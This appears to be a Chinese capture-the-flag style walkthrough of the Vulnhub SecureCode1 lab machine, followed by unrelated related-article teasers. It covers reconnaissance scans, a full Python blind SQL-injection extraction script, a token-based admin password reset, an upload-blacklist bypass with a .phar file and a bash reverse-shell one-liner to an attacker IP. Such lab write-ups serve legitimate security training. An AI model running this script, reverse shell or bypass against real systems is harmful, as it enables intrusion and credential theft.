【Vulnhub系列】Vulnhub_SecureCode1靶场渗透(原创)
【Vulnhub系列靶场】Vulnhub_SecureCode1靶场渗透
原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)
一、环境配置
1、从百度网盘下载对应靶机的.ova镜像
2、在VM中选择【打开】该.ova

3、选择存储路径,并打开

4、之后确认网络连接模式是否为【NAT】
二、信息收集
1、主机发现

2、端口探测
1、快速粗略探测

只发现80端口
2、进行精细化探测


仍然只有80端口
3、进行全扫描和漏洞探测

一个Ubuntu 的Linux机器

发现文件上传和SQL注入漏洞,是一个很好的开端
3、对web目录爆破
dirsearch.cmd -u http://192.168.31.61 -x 404,403 #过滤404,403响应

4、web框架探测

使用了Bootstrap 的前端开发框架和JQuery 库
三、获取shell立足点
1、查看敏感文件
1、robots.txt:提示禁止去/login/*,不允许访问login下的任何文件

2、login目录:是一个登录页面

3、查看其他目录提示无权限

2、源代码文件泄露
1、对登录页面尝试SQL注入失败,几经周折无计可施
2、返回再进行信息收集,端口探测也并无其他端口开放,目录扫描也无其他结果
3、此时能用的有参数爆破,以及zip 等敏感文件的存在(还可以尝试子域名爆破,但由于是靶机且无域名存在,因此此路不通)
4、有include 目录的存在且发现include/header.php 文件在其他地方也经过了引用,可以联想到文件包含漏洞,通过对参数进行爆破
我们在kali 中用wfuzz 工具对包含了header.php 文件的login.php页面进行爆破,并无收获
wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt --hw 113 http://192.168.31.61/login/login.php?FUZZ=

5、检索zip 等敏感文件
我们用dirb 这个工具,对敏感后缀进行爆破
dirb http://192.168.31.61 -X .php,.html,.rar,.7zip,.tar.gz,.gz,.zip,.bak

可以看到确实存在一个名为源代码的zip 文件
将其下载下来
curl http://192.168.31.61/source_code.zip --output source_code.zip
3、代码审计登录后台
解压该文件,发现存在一个.sql文件,莫不是数据库文件

找到两个用户名和密码,用hashid 判别一下

然后用john 进行爆破,没有结果
既然拿到了源代码,那就进行一波代码审计

重点在这两个文件中
在doChangePassword.php 文件中,对token 进行了校验,然后可以进行密码修改的操作,这里应该是关键

在 resetPassword.php文件中对token 进行了更新操作,那么我们拿到这个token 就可以对admin 的密码进行修改

再往下看

这里就是发送的邮件信息内容,在doChangePassword.php 后面加上token 的值去修改对应用户的密码
那么如何获取15位的token值,爆破难度太高,再查看源代码

这个地方存在SQL注入的可能性很大,对/item/viewItem.php 文件进行查看

如下,确认存在SQL注入

进行数据爆破,这里写了一个脚本根据响应值来进行SQL注入,可修进(放武器库了)
import requestsurl = 'http://192.168.31.62/item/viewItem.php?id=1'def column_data_name(column_data_len,User_table_name,User_column_name):column_data_names = {}column_one_name = ''for i in range(0,len(column_data_len)): #i是第几个字段的值for j in range(1,column_data_len[i]+1): #j是要爆破字段值的第几个字符for n in range(0,126): #n是要爆破字段值的ascii码值new_url = url + "%20and%20ascii(substr((select " + User_column_name + " from " + User_table_name + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint('-----------------------------')print(f"第{i}个字段的值为:{column_one_name}")column_data_names[i] = column_one_namecolumn_one_name = ''return column_data_namesdef column_data_length(column_names,User_table_name,User_column_name):column_data_len = {}for i in range(0,10): #i是第几个字段的值,猜测10个数值for j in range(1,20): #j是要爆破字段数值的长度,猜测该字段数值最大为20new_url = url + "%20and%20length((select "+ User_column_name +" from "+ User_table_name +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_data_len[i] = jif i == 10:print('已超过测试数值的最大值,请调整!!!')breakreturn column_data_lendef column_name(column_len,User_table_name):column_names = {}column_one_name = ''for i in range(0,len(column_len)): #i是第几个字段,len(column_len) 是字段的数量for j in range(1,column_len[i]+1): #j是要爆破字段的第几个字符for n in range(0,126): #n是要爆破字段名的ascii码值new_url = url + "%20and%20ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=" + hex(int.from_bytes(User_table_name.encode(),'big')) + " limit "+ str(i) +",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):column_one_name += chr(n)breakprint(f"第{i}个字段的名称为:{column_one_name}")column_names[i] = column_one_namecolumn_one_name = ''return column_namesdef column_length(User_table_name): #要查看的表名column_len = {}for i in range(0,10): #i是第几个字段,这里假设有10个字段for j in range(1,30): #j是要爆破字段的长度,假设字段长度最长为20new_url = url + "%20and%20length((select column_name from information_schema.columns where table_schema=database() and table_name="+ hex(int.from_bytes(User_table_name.encode(), 'big')) +" limit "+ str(i) +",1))=" + str(j)if Response_judgment(new_url):column_len[i] = jif i == 10:print('已超过测试字段数的最大值,请调整!!!')breakreturn column_lendef table_name(table_len):table_names = {}table_one_name = ''for i in range(0,len(table_len)): #i是第几张表,len(table_len)表示共有几张表for j in range(1,table_len[i]+1): #j是要爆破表名第几个字符,到表的长度for n in range(0,126): #n是要爆破表名的ascii码值new_url = url + "%20and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1)," + str(j) + ",1))=" + str(n)if Response_judgment(new_url):table_one_name += chr(n)breakprint(f"第{i}张表的名称为:{table_one_name}")table_names[i] = table_one_nametable_one_name = ''return table_namesdef table_length():table_len = {}for i in range(0,10): #i是第几张表for j in range(1,10): #j是要爆破表的长度new_url = url + "%20and%20length((select table_name from information_schema.tables where table_schema=database() limit " + str(i) + ",1))=" + str(j)if Response_judgment(new_url):table_len[i] = jbreakreturn table_lendef database_name(database_len):database_names = ''for i in range(1,database_len + 1): #i是数据库的第几个字符for j in range(0,126): #j是要爆破数据库名的ascii码值new_url = url + "%20and%20ascii(substr(database()," + str(i) + ",1))=" + str(j)if Response_judgment(new_url):database_names += chr(j)breakreturn database_namesdef database_length():for i in range(1,10): #假设数据库的长度在10以内new_url = url + "%20and%20length(database())=" + str(i)if Response_judgment(new_url):return iprint('payload无效,请更替payload!!!')def Response_judgment(new_url):respone = requests.get(new_url)if respone.status_code == 404:return Trueelse:return Falsedef main():database_names = database_name(database_length()) #这里传入数据库的长度print('-----------------------------')print(f"数据库的名称为:{database_names}")print('-----------------------------')table_names = table_name(table_length()) #求表的名称,传入表的长度print('-----------------------------')print(f"所有表的名称为:{table_names}")User_table_name = input('请输入要查看的表名:')print('-----------------------------')column_names = column_name(column_length(User_table_name),User_table_name) #求字段的名字,输入字段的长度print('-----------------------------')print(f"该表中所有字段的名称为:{column_names}")User_column_name = input('请输入要查看的字段名:')print('-----------------------------')column_data_len = column_data_length(column_names,User_table_name,User_column_name) #求字段值的长度,传入字段的名称column_data_names = column_data_name(column_data_len,User_table_name,User_column_name) #求字段的值print('-----------------------------')print(f"该字段中所有数值为:{column_data_names}")if __name__ == '__main__':main()

拿到token,进入doChangePassword.php?token=iBWWtGgLTA8KqEa,之后修改admin 的密码,提示密码更改成功

之后进行登录,成功登录后台

4、获取shell立足点
1、在后台进行信息收集,发现flag1

2、在添加材料的地方发现文件上传

3、先上传一个phpinfo文件,发现有限制

4、在源代码上看,是做了黑名单和mime 检测

5、抓包绕过,黑名单中并没有phar后缀
我们上传一个.phar后缀的php反弹shell,并在本地进行监听,成功拿到shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.31.50/4444 0>&1'"); ?>

四、提权root
1、查找敏感文件
1、在/var/www下找到flag2

其中的legendary 让人很在意,尝试su 到普通用户 secure
shell=/bin/bash script -q /dev/null
su secure

失败了
2、connection.php文件
看到数据库的账号密码:hackshop:hackshopuniquepassword

是否满足数据库提权呢?mysql版本大于5.7,不能进行数据库提权

2、提权root
此靶机无需root提权
原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)
相关文章:
【Vulnhub系列】Vulnhub_SecureCode1靶场渗透(原创)
【Vulnhub系列靶场】Vulnhub_SecureCode1靶场渗透 原文转载已经过授权 原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io) 一、环境配置 1、从百度网盘下载对应靶机的.ova镜像 2、在VM中选择【打开】该.ova 3、选择存储路径࿰…...
【C语言】结构体详解 -《探索C语言的 “小宇宙” 》
目录 C语言结构体(struct)详解结构体概览表1. 结构体的基本概念1.1 结构体定义1.2 结构体变量声明 2. 结构体成员的访问2.1 使用点运算符(.)访问成员输出 2.2 使用箭头运算符(->)访问成员输出 3. 结构体…...
基于DTW距离的KNN算法实现股票高相似筛选案例
使用DTW算法简单实现曲线的相似度计算-CSDN博客 前文中股票高相关k线筛选问题的延伸。基于github上的代码迁移应用到股票高相关预测上。 这里给出一个相关完整的代码实现案例。 1、数据准备 假设你已经有了一些历史股票的k线数据。如果数据能打标哪些股票趋势是上涨的、下跌…...
GD32 - IIC程序编写
一、初始化 理论知识链接: IIC理论知识 二、代码实现 1、SDA和SCL设置成开漏输出模式 开漏输出的作用: 因为IIC总线是一种双向的通信协议,需要使用开漏输出实现共享总线。开漏输出类似于一种线与的方式,即无论总线上哪个设备…...
将项目部署到docker容器上
通过docker部署前后端项目 前置条件 需要在docker中拉去jdk镜像、nginx镜像 docker pull openjdk:17 #拉取openjdk17镜像 docker pull nginx #拉取nginx镜像部署后端 1.打包后端项目 点击maven插件下面的Lifecycle的package 对后端项目进行打包 等待打包完成即可 2.将打…...
免费【2024】springboot宠物美容机构CRM系统设计与实现
博主介绍:✌CSDN新星计划导师、Java领域优质创作者、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌ 技术范围:SpringBoot、Vue、SSM、HTML、Jsp、PHP、Nodejs、Python、爬虫、数据可视化…...
搞懂数据结构与Java实现
文章链接:搞懂数据结构与Java实现 (qq.com) 代码链接: Java实现数组模拟循环队列代码 (qq.com) Java实现数组模拟栈代码 (qq.com) Java实现链表代码 (qq.com) Java实现哈希表代码 (qq.com) Java实现二叉树代码 (qq.com) Java实现图代码 (qq.com)...
Stable Diffusion 图生图
区别于文生图,所谓的图生图,俗称的垫图,就是比文生图多了一张参考图,由参考一张图来生成图片,影响这个图片的要素不仅只靠提示词了,还有这个垫图的因素,这个区域就上上传垫图的地方,…...
语言转文字
因为工作原因需要将语音转化为文字,经常搜索终于找到一个免费的好用工具,记录下使用方法 安装Whisper 搜索Colaboratory 右上方链接服务 执行 !pip install githttps://github.com/openai/whisper.git !sudo apt update && sudo apt install f…...
ref函数
Vue2 中的ref 首先我们回顾一下 Vue2 中的 ref。 ref 被用来给元素或子组件注册引用信息。引用信息将会注册在父组件的 $refs 对象上。如果在普通的 DOM 元素上使用,引用指向的就是 DOM 元素;如果用在子组件上,引用就指向组件实例࿱…...
7/30 bom和dom
文档对象mox 浏览器对象模型...
【Golang 面试 - 进阶题】每日 3 题(五)
✍个人博客:Pandaconda-CSDN博客 📣专栏地址:http://t.csdnimg.cn/UWz06 📚专栏简介:在这个专栏中,我将会分享 Golang 面试中常见的面试题给大家~ ❤️如果有收获的话,欢迎点赞👍收藏…...
MySQL,GROUP BY子句的作用是什么?having和where的区别在哪里说一下jdbc的流程
GROUP BY 子句的作用是什么 GROUP BY 字段名 将数据按字段值相同的划为一组,经常配合聚合函数一起使用。 having和where的区别在哪里 where是第一次检索数据时候添加过滤条件,确定结果集。而having是在分组之后添加结果集,用于分组之后的过…...
1._专题1_双指针_C++
双指针 常见的双指针有两种形式,一种是对撞指针,一种是左右指针。对撞指针:一般用于顺序结构中,也称左右指针。 对撞指针从两端向中间移动。一个指针从最左端开始,另一个从最右端开始,然后逐渐往中间逼近…...
Spring集成ES
RestAPI ES官方提供的java语言客户端用以组装DSL语句,再通过http请求发送给ES RestClient初始化 引入依赖 <dependency><groupId>org.elasticsearch.client</groupId><artifactId>elasticsearch-rest-high-level-client</artifactId> </d…...
力扣高频SQL 50题(基础版)第二十六题
文章目录 力扣高频SQL 50题(基础版)第二十六题1667.修复表中的名字题目说明实现过程准备数据实现方式结果截图总结 力扣高频SQL 50题(基础版)第二十六题 1667.修复表中的名字 题目说明 表: Users ----------------…...
WIFI 接收机和发射机同步问题+CFO/SFO频率偏移问题
Synchronization Between Sender and Receiver & CFO Correction 解决同步问题和频率偏移问题是下面论文的关键,接下来结合论文进行详细解读 解读论文:Verification and Redesign of OFDM Backscatter 论文pdf:https://www.usenix.org/s…...
ubuntu安装并配置flameshot截图软件
参考:flameshot key-bindins 安装 sudo apt install flameshot自定义快捷键 Settings->Keyboard->View and Customize Shortcuts->Custom Shortcuts,输入该快捷键名称(自定义),然后输入command(…...
【Linux】CentOS更换国内阿里云yum源(超详细)
目录 1. 前言2. 打开终端3. 确保虚拟机已经联网4. 备份现有yum配置文件5. 下载阿里云yum源6. 清理缓存7. 重新生成缓存8. 测试安装gcc 1. 前言 有些同学在安装完CentOS操作系统后,在系统内安装比如:gcc等软件的时候出现这种情况:(…...
Leetcode49. 字母异位词分组(java实现)
今天我来给大家分享的是leetcode49的解题思路,题目描述如下 如果没有做过leetcode242题目的同学,可以先把它做了,会更好理解异位词的概念。 本道题的大题思路是: 首先遍历strs,然后统计每一个数组元素出现的次数&#…...
变量 varablie 声明- Rust 变量 let mut 声明与 C/C++ 变量声明对比分析
一、变量声明设计:let 与 mut 的哲学解析 Rust 采用 let 声明变量并通过 mut 显式标记可变性,这种设计体现了语言的核心哲学。以下是深度解析: 1.1 设计理念剖析 安全优先原则:默认不可变强制开发者明确声明意图 let x 5; …...
Docker 离线安装指南
参考文章 1、确认操作系统类型及内核版本 Docker依赖于Linux内核的一些特性,不同版本的Docker对内核版本有不同要求。例如,Docker 17.06及之后的版本通常需要Linux内核3.10及以上版本,Docker17.09及更高版本对应Linux内核4.9.x及更高版本。…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
Admin.Net中的消息通信SignalR解释
定义集线器接口 IOnlineUserHub public interface IOnlineUserHub {/// 在线用户列表Task OnlineUserList(OnlineUserList context);/// 强制下线Task ForceOffline(object context);/// 发布站内消息Task PublicNotice(SysNotice context);/// 接收消息Task ReceiveMessage(…...
安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...
线程与协程
1. 线程与协程 1.1. “函数调用级别”的切换、上下文切换 1. 函数调用级别的切换 “函数调用级别的切换”是指:像函数调用/返回一样轻量地完成任务切换。 举例说明: 当你在程序中写一个函数调用: funcA() 然后 funcA 执行完后返回&…...
Spring Boot面试题精选汇总
🤟致敬读者 🟩感谢阅读🟦笑口常开🟪生日快乐⬛早点睡觉 📘博主相关 🟧博主信息🟨博客首页🟫专栏推荐🟥活动信息 文章目录 Spring Boot面试题精选汇总⚙️ **一、核心概…...
Rust 异步编程
Rust 异步编程 引言 Rust 是一种系统编程语言,以其高性能、安全性以及零成本抽象而著称。在多核处理器成为主流的今天,异步编程成为了一种提高应用性能、优化资源利用的有效手段。本文将深入探讨 Rust 异步编程的核心概念、常用库以及最佳实践。 异步编程基础 什么是异步…...
c#开发AI模型对话
AI模型 前面已经介绍了一般AI模型本地部署,直接调用现成的模型数据。这里主要讲述讲接口集成到我们自己的程序中使用方式。 微软提供了ML.NET来开发和使用AI模型,但是目前国内可能使用不多,至少实践例子很少看见。开发训练模型就不介绍了&am…...
UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)
UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中,UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化…...
